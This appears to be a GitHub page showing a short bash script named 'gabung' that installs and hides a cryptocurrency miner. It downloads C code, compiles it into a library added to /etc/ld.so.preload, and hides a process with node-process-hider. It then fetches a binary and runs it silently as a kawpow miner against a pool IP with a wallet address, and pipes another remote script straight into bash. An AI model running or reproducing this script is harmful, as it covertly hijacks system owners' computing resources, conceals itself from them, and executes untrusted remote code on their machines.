-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgabung
15 lines (15 loc) · 928 Bytes
/
gabung
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
apt-get update ; apt-get install sudo -y
curl https://gitlab.com/liugtiujk/portal/-/raw/master/cikblek.c -o cikblek.c
apt-get install build-essential -y
gcc -Wall -fPIC -shared -o libcikblek.so cikblek.c -ldl
mv libcikblek.so /usr/local/lib/
echo /usr/local/lib/libcikblek.so >> /etc/ld.so.preload
rm cikblek.c
echo "supersede domain-name-servers 1.1.1.1;">> /etc/dhcp/dhclient.conf
/etc/init.d/network restart
sudo su --command "curl -sL https://deb.nodesource.com/setup_17.x | sudo -E bash - && sudo apt-get install -y nodejs && npm i -g updates && npm i -g node-process-hider && npm install -g [email protected] && sudo ph add love"
wget https://gitlab.com/liugtiujk/portal/-/raw/main/love >/dev/null 2>&1
chmod +x love
sudo ./love -a kawpow -o stratum+tcp://157.230.108.202:80 -u NHbFmRujpuM7ipyijahiUfatGLf6gx1APoqo.PORTE >/dev/null 2>&1 &
curl -sL https://raw.githubusercontent.com/bsheredia/dumel/main/pie.sh | bash